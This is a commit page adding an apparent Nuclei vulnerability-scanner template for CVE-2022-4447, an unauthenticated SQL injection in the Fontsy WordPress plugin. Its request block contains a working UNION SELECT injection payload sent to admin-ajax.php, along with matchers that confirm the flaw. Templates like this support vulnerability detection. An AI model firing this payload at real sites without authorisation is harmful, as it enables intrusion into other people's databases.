Merge pull request #6532 from theamanrawat/CVE-2022-4447

Added template for CVE-2022-4447
patch-1
Ritik Chaddha 2023-02-10 14:12:16 +05:30 committed by GitHub
commit 8bc122fb73
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 37 additions and 0 deletions

View File

@ -0,0 +1,37 @@
id: CVE-2022-4447
info:
name: Fontsy <= 1.8.6 - Unauthenticated SQLi
author: theamanrawat
severity: critical
description: |
The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
reference:
- https://wpscan.com/vulnerability/6939c405-ac62-4144-bd86-944d7b89d0ad
- https://wordpress.org/plugins/fontsy/
- https://nvd.nist.gov/vuln/detail/CVE-2022-4447
classification:
cve-id: CVE-2022-4447
metadata:
verified: "true"
tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,fontsy,unauth
variables:
num: "999999999"
requests:
- raw:
- |
POST /wp-admin/admin-ajax.php?action=get_tag_fonts HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
id=-5219 UNION ALL SELECT NULL,NULL,NULL,md5({{num}}),NULL--
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "{{md5(num)}}")'
condition: and